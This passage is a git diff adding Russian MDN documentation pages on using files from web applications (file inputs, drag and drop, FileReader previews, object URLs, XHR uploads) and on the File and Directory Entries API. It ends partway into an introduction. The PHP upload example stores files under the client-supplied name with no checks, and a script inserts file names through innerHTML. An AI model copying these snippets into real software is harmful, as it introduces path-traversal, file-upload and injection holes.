+    nBytes += oFiles[nFileId].size;
+  }
+  var sOutput = nBytes + " bytes";
+  // optional code for multiples approximation
+  for (var aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox &gt; 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // end of optional code
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="updateSize();"&gt;
+&lt;form name="uploadForm"&gt;
+&lt;p&gt;&lt;input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple&gt; selected files: &lt;span id="fileNum"&gt;0&lt;/span&gt;; total size: &lt;span id="fileSize"&gt;0&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send file"&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Использование_метода_click_скрытых_элементов_выбора_файла">Использование метода click() скрытых элементов выбора файла</h2>
+
+<p>Начиная с Gecko 2.0 {{ geckoRelease("2.0") }}, вы можете скрыть непривлекательный элемент {{ HTMLElement("input") }} и предоставить свой собственный интерфейс для открытия диалогового окна выбора и отображения файла или файлов, выбранных пользователем. Вы можете сделать это, присвоив свойству display элемента input  значение none (display:none) и вызывая метод {{ domxref("element.click","click()") }} скрытого элемента {{ HTMLElement("input") }}.</p>
+
+<p>Рассмотрим следующую разметку HTML:</p>
+
+<pre class="brush: html notranslate"><code>&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;</code></pre>
+
+<p>Код, обрабатывающий событие click, может выглядеть следующим образом:</p>
+
+<pre class="brush: js notranslate">var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // предотвращает перемещение к "#"
+}, false);
+</pre>
+
+<p>Таким образом, вы можете стилизовать новую кнопку открытия диалога выбора файла так, как пожелаете.</p>
+
+<h2 id="Использование_элемента_label_скрытого_элемента_input">Использование элемента label скрытого элемента input</h2>
+
+<p>Для того, чтобы открыть диалог выбора файла без использования JavaScript (метода click()), можно воспользоваться элементом {{ HTMLElement("label") }}.</p>
+
+<p>Рассмотрим следующую разметку HTML:</p>
+
+<pre class="brush: html notranslate"><code>&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;label for="fileElem"&gt;Select some files&lt;/label&gt;</code></pre>
+
+<p>В данном случае нет необходимости добавлять код JavaScript для того, чтобы вызвать <code>fileElem.click()</code>. Также в данном случае вы можете стилизовать элемент label так, как пожелаете.</p>
+
+<h2 id="Выбор_файлов_с_использованием_технологии_drag_and_drop">Выбор файлов с использованием технологии drag and drop</h2>
+
+<p>Также вы можете предоставить пользователю возможность непосредственно перетаскивать файлы в ваше веб-приложение.</p>
+
+<p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приемку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p>
+
+<pre class="brush: js notranslate">var dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>В данном примере мы превращаем элемент с ID, равным <code>dropbox, в нашу зону перетаскивания при помощи добавления обработчиков для событий </code><code>dragenter</code>, <code>dragover и</code> <code>drop</code>.</p>
+
+<p>В нашем случае нет необходимости делать что-то особенное при обработке событий <code>dragenter</code> и <code>dragover</code>, таким образом, обе функции, ответственные за обработку данных событий, довольно просты. Они останавливают распространение события и предотвращают возникновение действия по умолчанию:</p>
+
+<pre class="brush: js notranslate">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>Вся настоящая магия происходит в функции <code>drop()</code>:</p>
+
+<pre class="brush: js notranslate">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}
+</pre>
+
+<p>Здесь мы извлекаем из события поле <code>dataTransfer</code>, затем вытаскиваем из него список файлов и передаем этот список в <code>handleFiles()</code>. После этого процесс обработки файлов одинаков вне зависимости от того, использовал ли пользователь для их выбора элемент <code>input</code> или технологию drag and drop.</p>
+
+<h2 id="Пример_Отображение_эскизов_изображений_выбранных_пользователем">Пример: Отображение эскизов изображений, выбранных пользователем</h2>
+
+<p>Представим, что вы разрабатываете очередной веб-сайт для обмена фотографиями и вы хотите использовать возможности HTML5 для предварительного просмотра изображений перед тем, как пользователь загрузит их. Вы можете создать <code>input</code> элемент или зону перетаскивания, как обсуждалось ранее, и вызвать такую функцию, как <code>handleFiles()</code> ниже.</p>
+
+<pre class="brush: js notranslate">function handleFiles(files) {
+  for (var i = 0; i &lt; files.length; i++) {
+    var file = files[i];
+
+    if (!file.type.startsWith('image/')){ continue }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // Предполагается, что "preview" это div, в котором будет отображаться содержимое.
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
+<p>Здесь наш цикл обрабатывает выбранные пользователем файлы, проверяя атрибут <code>type</code> у каждого файла, чтобы определить является ли файл изображением (выполняется регулярное выражение в строке "<code>image.*</code>"). Для каждого файла, который является изображением, мы создаем новый <code>img</code> элемент. Можно использовать CSS для установки красивых рамок, теней, и указания размеров изображения, но здесь нет нужды делать этого.</p>
+
+<p>Каждое изображение имеет CSS класс <code>obj</code> добавленный к нему для упрощения его поиска в DOM дереве. Мы также добавили атрибут <code>file</code> к каждому изображению, указав {{ domxref("File") }} ; это позволит нам получить изображения для фактической загрузки позже. Наконец, мы используем {{ domxref("Node.appendChild()") }} для того, чтобы добавить новый эскиз в область предпросмотра нашего документа.</p>
+
+<p>Затем мы устанавливаем {{ domxref("FileReader") }} для обработки асинхронной загрузки изображения и прикрепления его к <code>img</code> элементу. После создания нового объекта <code>FileReader</code>, мы настраиваем его функцию <code>onload</code>, затем вызываем <code>readAsDataURL()</code> для запуска операции чтения в фоновом режиме. Когда всё содержимое файла изображения загружено, они преобразуют его в <code>data:</code> URL, который передается в обратный вызов <code>onload</code> . Наша реализация этой процедуры просто устанавливает атрибут <code>src</code> у элемента <code>img</code> загруженного изображения, в результате чего миниатюра изображения появляется на экране пользователя.</p>
+
+<h2 id="Использование_URLs_объктов">Использование URLs объктов</h2>
+
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} представляет поддержку для методов DOM {{ domxref("window.URL.createObjectURL()") }} и {{ domxref("window.URL.revokeObjectURL()") }}. Они позволяют создавать простые строки URL, которые могут быть использованы для обращения к любым данным, на которые можно ссылаться, используя объект DOM {{ domxref("File") }}, включая локальные файлы на компьютере пользователя.</p>
+
+<p>Когда у вас есть объект {{ domxref("File") }}, на который вы хотите ссылаться по URL из HTML, вы можете создать для этого объект URL, такой как этот:</p>
+
+<pre class="brush: js notranslate"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre>
+
+<p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создается новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобожден. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p>
+
+<pre class="brush: js notranslate"><code>window.URL.revokeObjectURL(objectURL);</code></pre>
+
+<h2 id="Пример_Использование_URL_объектов_для_отображения_изображений">Пример: Использование URL объектов для отображения изображений</h2>
+
+<p>Этот пример использует URL объектов для отображения эскизов изображений. Кроме этого, оно показывает другую информацию о файлах, включая их имена и размеры. Вы можете <a href="/samples/domref/file-click-demo.html" title="https://developer.mozilla.org/samples/domref/file-click-demo.html">посмотреть работающий пример</a>.</p>
+
+<p>HTML, который представляет интерфейс, выглядит так:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;No files selected!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Здесь определяется элемент файла {{ HTMLElement("input") }}, а также ссылка, которая вызывает окно выбора файла, т.к. мы сделали элемент ввода файла скрытым, чтобы этот не слишком привлекательный элемент интерфейса не отображался. Об этом рассказывается в разделе {{ anch("Использование метода click() скрытых элементов выбора файла") }}, как о методе вызова окна выбора файла.</p>
+
+<p>Метод <code>handleFiles()</code> может быть реализован таким образом:</p>
+
+<pre class="brush: js notranslate">window.URL = window.URL || window.webkitURL;
+
+var fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // prevent navigation to "#"
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "&lt;p&gt;No files selected!&lt;/p&gt;";
+  } else {
+    var list = document.createElement("ul");
+    for (var i = 0; i &lt; files.length; i++) {
+      var li = document.createElement("li");
+      list.appendChild(li);
+
+      var img = document.createElement("img");
+      img.src = window.URL.<strong>createObjectURL</strong>(files[i]);
+      img.height = 60;
+      img.onload = function() {
+        window.URL.<strong>revokeObjectURL</strong>(this.src);
+      }
+      li.appendChild(img);
+      var info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+</pre>
+
+<p>Он начинается с получения элемента {{ HTMLElement("div") }} с ID <code>fileList</code>. Это блок, в который мы вставим наш список файлов, включая эскизы..</p>
+
+<p>Если объект {{ domxref("FileList") }}, передаваемый в <code>handleFiles()</code> является <code>null</code>, то мы просто устанавливаем внутренний HTML блока в отображение текста "No files selected!". Иначе мы начинаем строить список файлов таким образом:</p>
+
+<ol>
+ <li>Создается новый элемент - неупорядоченный список ({{ HTMLElement("ul") }}).</li>
+ <li>Этот новый элемент вставляется в блок {{ HTMLElement("div") }} с помощью вызова его метода {{ domxref("element.appendChild()") }}.</li>
+ <li>Для каждого {{ domxref("File") }} в {{ domxref("FileList") }}, представляемого <code>files</code>:
+  <ol>
+   <li>Создаем новый элемент пункта списка ({{ HTMLElement("li") }}) и вставляем его в список.</li>
+   <li>Создаем новый элемент изображения ({{ HTMLElement("img") }}).</li>
+   <li>Устанавливаем источник изображения в новый URL объекта, представляющий файл, используя {{ domxref("window.URL.createObjectURL()") }} для создания URL на двоичный объект.</li>
+   <li>Устанавливаем высоту изображения в 60 пикселей.</li>
+   <li>Устанавливаем обработчик события загрузки изображения для освобождения URL объекта, т.к. после загрузки изображения он больше не нужен. Это делается вызовом метода {{ domxref("window.URL.revokeObjectURL()") }}, передавая в него строку URL объекта, которая указана в <code>img.src</code>.</li>
+   <li>Добавляем новый элемент в список.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Пример_Загрузка_файла_выбранного_пользователем">Пример: Загрузка файла, выбранного пользователем</h2>
+
+<p>Еще одна вещь, которую вы можете захотеть сделать <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это позволить пользователю загрузить выбранный файл или файлы (такие, как изображения из предыдущего примера) на сервер. Это можно сделать асинхронно довольно просто.</p>
+
+<h3 id="Создание_заданий_на_загрузку">Создание заданий на загрузку</h3>
+
+<p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикрепленным в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p>
+
+<pre class="brush: js notranslate">function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>Строка 2 получает <span style="line-height: 1.5;">{{ domxref("NodeList") }}</span><span style="line-height: 1.5;"> в переменную </span><code style="font-size: 14px;">imgs</code><span style="line-height: 1.5;"> со всеми элементами документа, имеющих класс CSS </span><code style="font-size: 14px;">obj</code><span style="line-height: 1.5;">. В нашем случае все они будут эскизами изображений. Как только мы получим этот список, можно просто пройти по нему, создавая для каждого элемента новый экземпляр </span><code style="font-size: 14px;">FileUpload</code><span style="line-height: 1.5;">. Каждый из них отвечает за загрузку соответствующего файла.</span></p>
+
+<h3 id="Управление_процессом_загрузки_файла">Управление процессом загрузки файла</h3>
+
+<p>Функция <code>FileUpload</code> принимает на вход 2 параметра: элемент изображения и файл, из которого нужно читать данные изображения.</p>
+
+<pre class="brush: js notranslate">function FileUpload(img, file) {
+  const reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  const xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  const self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          const percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          const canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}</pre>
+
+<p>Функция <code>FileUpload()</code>, показанная выше, создает объект Throbber, который используется для отображения хода загрузки, а затем создает {{ domxref("XMLHttpRequest") }} для управления загрузкой данных.</p>
+
+<p>Перед началом загрузки данных выполняются несколько шагов для подготовки:</p>
+
+<ol>
+ <li>На <code>XMLHttpRequest</code> устанавливается обработчик события <code>progress</code> для обновления индикатора хода загрузки новыми значениями процента выполнения, так что по мере хода загрузки, индикатор будет обновляться, отображая последнюю информацию.</li>
+ <li>На <code>XMLHttpRequest</code>'s устанавливается обработчик события <code>load</code> для установки индикатора загрузки в значение 100%, чтобы убедиться, что индикатор действительно установлен в 100% (в случае проблем детализации в ходе процесса). Затем обработчик удаляет индикатор загрузки, т.к. он более не нужен. Поэтому индикатор исчезает как только загрузка завершена.</li>
+ <li>Запрос на загрузку файла изображения открывается вызовом метода <code>XMLHttpRequest</code>'s <code>open()</code> для начала создания POST-запроса.</li>
+ <li>Тип MIME для загрузки устанавливается вызовом функции <code>XMLHttpRequest</code> <code>overrideMimeType()</code>. В этом случае мы используем общий тип MIME type; вам может быть нужно или не нужно вообще устанавливать тип MIME в зависимости от вашего случая.</li>
+ <li>Объект <code>FileReader</code> используется для преобразования файла в двоичную строку.</li>
+ <li>И в завершение, когда содержимое загружено, вызывается функция <code>XMLHttpRequest</code> <code>send()</code> для отправки содержимого файла.</li>
+</ol>
+
+<h3 id="Асинхронная_обработка_процесса_загрузки">Асинхронная обработка процесса загрузки</h3>
+
+<pre class="brush: js notranslate">&lt;?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?&gt;&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;dnd binary upload&lt;/title&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
+    &lt;script type="text/javascript"&gt;
+        function sendFile(file) {
+            var uri = "/index.php";
+            var xhr = new XMLHttpRequest();
+            var fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 &amp;&amp; xhr.status == 200) {
+                    // Handle response.
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            var dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                var filesArray = event.dataTransfer.files;
+                for (var i=0; i&lt;filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div&gt;
+        &lt;div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;"&gt;Drag &amp; drop your file here...&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Пример_Использование_URL_объектов_для_отображения_PDF">Пример: Использование URL объектов для отображения PDF</h2>
+
+<p>URL объектов могут быть использованы не только для изображений! Также этот прием можно использовать и для других ресурсов, которые могут отображаться браузером, например, файлы PDF.</p>
+
+<p>В Firefox, для того чтобы файл PDF появился в iframe и не предлагался для загрузки, нужно установить <code>pdfjs.disabled</code> в значение <code>false</code> {{non-standard_inline()}}.</p>
+
+<pre class="brush: html notranslate">&lt;iframe id="viewer"&gt;
+</pre>
+
+<p>А здесь изменение атрибута <code>src</code>:</p>
+
+<pre class="brush: js notranslate">var obj_url = window.URL.createObjectURL(blob);
+var iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Пример_Использование_URL_объектов_с_другими_типами_файлов">Пример: Использование URL объектов с другими типами файлов</h2>
+
+<p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведен пример как загружается видео:</p>
+
+<pre class="brush: js notranslate">var video = document.getElementById('video');
+var obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#file-upload-state-%28type=file%29" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (Рабочие материалы HTML 5)</li>
+ <li><a href="http://www.w3.org/TR/FileAPI/" title="http://www.w3.org/TR/FileAPI/">File API</a></li>
+</ul>
+
+<h2 id="Дополнительные_ссылки">Дополнительные ссылки</h2>
+
+<ul>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("FileList") }}</li>
+ <li>{{ domxref("FileReader") }}</li>
+ <li>{{DOMxRef("URL")}}</li>
+ <li>{{DOMxRef("XMLHttpRequest")}}</li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a></li>
+ <li><a class="external" href="http://www.jquery.com/" title="http://www.jquery.com/">jQuery</a> JavaScript library</li>
+</ul>
+
+<p>{{ HTML5ArticleTOC() }}</p>
+
+<p>{{ languages( { "zh-cn": "zh-cn/Using_files_from_web_applications", "ja": "ja/Using_files_from_web_applications" } ) }}</p>
diff --git a/files/ru/web/api/file_and_directory_entries_api/index.html b/files/ru/web/api/file_and_directory_entries_api/index.html
new file mode 100644
index 0000000000..e876abacfc
--- /dev/null
+++ b/files/ru/web/api/file_and_directory_entries_api/index.html
@@ -0,0 +1,129 @@
+---
+title: File and Directory Entries API
+slug: Web/API/File_and_Directory_Entries_API
+tags:
+  - API
+  - File System API
+  - File and Directory Entries API
+  - Files
+  - NeedsTranslation
+  - Non-standard
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/API/File_and_Directory_Entries_API
+---
+<p>{{DefaultAPISidebar("File System API")}}</p>
+
+<p>{{Non-standard_Header}}</p>
+
+<p>API доступа к файлам и директориям имитирует локальную файловую систему, в которой веб-приложения могут перемещаться и получать доступ к файлам. Вы можете разрабатывать приложения, которые читают, записывают и создают файлы и/или каталоги в виртуальной изолированной файловой системе. </p>
+
+<div class="note">
+<p>Поскольку это нестандартный API, спецификация которого в настоящее время не входит в стандарт, важно помнить, что не все браузеры реализуют его, а те, которые поддерживают, могут реализовывать только небольшие его части. Дополнительные сведения в разделе {{anch("Browser compatibility")}} </p>
+</div>
+
+<p>Существуют два очень похожих API в зависимости от того, хотите ли вы асинхронного или синхронного поведения. Синхронный API предназначен для использования внутри {{domxref("Worker")}} и будет возвращать желаемые значения. Асинхронный API не будет блокировать выполнение кода, а API не будет возвращать значения; вместо этого вам нужно будет предоставить функцию обратного вызова для обработки одного или нескольких ответов.</p>
+
+<div class="warning">
+<p>Firefox реализация File System API очень ограничена: не поддерживается создание файлов. Доступ к вайлам осуществляется только через {{HTMLElement("input")}} элемент (см. так же {{domxref("HTMLInputElement")}}) или путем перетаскивания файла/папки (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox также не реализует синхронный API. Внимательно проверьте совместимость браузера для любой части API, которую вы используете. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">Поддержка File System API в Firefox</a>)</p>
+</div>
+
+<h2 id="Получение_доступа_к_файловой_системе">Получение доступа к файловой системе</h2>
+
+<p>Есть два способа получить доступ к файловой системе, определенным в текущем проекте спецификации:</p>
+
+<ul>
+ <li>При обработке события {{event("drop")}} вы можете вызвать {{domxref("DataTransferItem.webkitGetAsEntry()")}} что бы получить {{domxref("FileSystemEntry")}} для "брошенного" элемента. Если результат не <code>null</code>, то это брошенный файл или каталог, и вы можете использовать вызовы файловой системы для работы с ним.</li>
+ <li>Свойство {{domxref("HTMLInputElement.webkitEntries")}} позволяет получить объект {{domxref("FileSystemFileEntry")}} для выбранного файла, но только если они перетаскиваются в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1326031" rel="noopener">средство выбора</a> файлов ( <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1326031" rel="noopener">баг 1326031</a> ). Если {{domxref("HTMLInputElement.webkitdirectory")}} является <code>true</code>, то {{HTMLElement("input")}} работает для выбора директорий, и вы можете получить объект {{domxref("FileSystemDirectoryEntry")}} для каждой выбранной директории.</li>
+</ul>
+
+<h2 id="Асинхронный_API">Асинхронный API</h2>
+
+<p>Асинхронный API следует использовать для большинства операций, чтобы доступ к файловой системе не блокировал весь браузер, если он используется в основном потоке. Он включает в себя следующие интерфейсы:</p>
+
+<dl>
+ <dt>{{domxref("FileSystem")}}</dt>
+ <dd>Представляет файловую систему.</dd>
+ <dt>{{domxref("FileSystemEntry")}}</dt>
+ <dd>Базовый интерфейс, представляющий одну запись в файловой системе. Это реализуется другими интерфейсами, которые представляют файлы или каталоги.</dd>
+ <dt>{{domxref("FileSystemFileEntry")}}</dt>
+ <dd>Представляет отдельный файл в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntry")}}</dt>
+ <dd>Представляет отдельный каталог в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryReader")}}</dt>
+ <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd>
+ <dt>{{domxref("FileSystemFlags")}}</dt>
+ <dd>Определяет набор значений, которые используются при указании флагов опций при вызове определенных методов в <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd>
+ <dt>{{domxref("FileError")}}</dt>
+ <dd>Представляет ошибку, которая возникает при вызовах асинхронной файловой системы.</dd>
+</dl>
+
+<p>Также есть две глобальные функции (которые в настоящее время не являются частью спецификации и реализуются только в Google Chrome). Они доступны внутри объекта {{domxref("Window")}} и реализованы в {{domxref("LocalFileSystem")}}: <code>requestFileSystem()</code> и <code>resolveLocalFileSystemURL()</code>.</p>
+
+<h2 id="Синхронный_API">Синхронный API</h2>
+
+<p>Синхронный API следует использовать только в {{domxref("Worker")}}-ах; эти вызовы блокируются до тех пор, пока не закончат свое выполнение, и просто возвращают результаты вместо использования обратных вызовов. Использование их в основном потоке заблокирует браузер, что непослушно. В противном случае интерфейсы ниже отражают интерфейсы асинхронного API.</p>
+
+<dl>
+ <dt>{{domxref("FileSystemSync")}}</dt>
+ <dd>Представляет файловую систему.</dd>
+ <dt>{{domxref("FileSystemEntrySync")}}</dt>
+ <dd>Базовый интерфейс, представляющий одну запись в файловой системе. Это реализуется другими интерфейсами, которые представляют файлы или каталоги. {{domxref("EntrySync")}}</dd>
+ <dt>{{domxref("FileSystemFileEntrySync")}}</dt>
+ <dd>Представляет отдельный файл в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt>
+ <dd>Представляет отдельный каталог в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt>
+ <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd>
+ <dt>{{domxref("FileException")}}</dt>
+ <dd>Представляет ошибку, которая возникает при вызовах синхронной файловой системы.</dd>
+</dl>
+
+<p>Также есть две глобальные функции (которые в настоящее время не являются частью спецификации и реализуются только в Google Chrome). Они доступны в объекте {{domxref("Worker")}} и реализованы в{{domxref("LocalFileSystemSync")}}: <code>requestFileSystemSync()</code> и <code>resolveLocalFileSystemSyncURL()</code>.</p>
+
+<h2 id="Другие_интерфейсы">Другие интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("LocalFileSystem")}}</dt>
+ <dd>Предоставляет вам доступ к изолированной файловой системе.</dd>
+ <dt>{{domxref("LocalFileSystemSync")}}</dt>
+ <dt></dt>
+ <dt>{{domxref("LockedFile")}}</dt>
+ <dd>Предоставляет инструменты для работы с данным файлом со всеми необходимыми блокировками.</dd>
+ <dt>{{domxref("Metadata")}}{{experimental_inline}}</dt>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File System API')}}</td>
+   <td>{{Spec2('File System API')}}</td>
+   <td>Draft of proposed API</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Этот API не имеет официальной спецификации W3C или WHATWG.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.FileSystem", 0)}}</p>
+
+<p>{{Compat("api.FileSystemSync", 0)}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introduction to the File and Directory Entries API</a></li>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a></li>
+</ul>
diff --git a/files/ru/web/api/file_and_directory_entries_api/введение/index.html b/files/ru/web/api/file_and_directory_entries_api/введение/index.html
new file mode 100644
index 0000000000..e5c76758c1
--- /dev/null
+++ b/files/ru/web/api/file_and_directory_entries_api/введение/index.html
@@ -0,0 +1,291 @@
+---
+title: Введение в API файлов и каталогов
+slug: Web/API/File_and_Directory_Entries_API/Введение
+translation_of: Web/API/File_and_Directory_Entries_API/Introduction
+---
+<div>{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}</div>
+
+<p><span class="seoSummary">API файлов и каталогов эмулирует для веб-приложений локальную файловую систему. У вас есть возможность создания приложений, которые могут читать, записывать и создавать файлы и директории в изолированной виртуальной файловой системе.</span></p>
+
+<p>API файлов и каталогов взаимодействует с другими API. Оно было создано на основе File Writer API, который в свою очередь использует File API. Каждое API реализует разную функциональность. Данные программные интерфейсы являются огромным эволюционным скачком для веб-приложений, которые теперь могут кешировать и обрабатывать большие объемы данных. </p>
+
+<h2 id="Об_этом_документе">Об этом документе</h2>
+
+<p>В данном документе приведены основные концепции и терминология API файлов и каталогов, которые должны показать общую картину и ключевые идеи. Также описаны <a href="#Ограничения">ограничения</a>, несоблюдение которых может привести к появлению ошибок безопасности. Используемая терминология описана в разделе <a href="#Определения">Определений</a>.</p>
+
+<p>Ссылки на страницы данного API приведены в <a href="https://developer.mozilla.org/en-US/docs/Web/API/FileSystem">Ссылочном справочнике</a>.</p>
+
+<p>Спецификация находится на стадии разработки и будет изменяться в будущем.</p>
+
+<h2 id="Обзор">Обзор</h2>
+
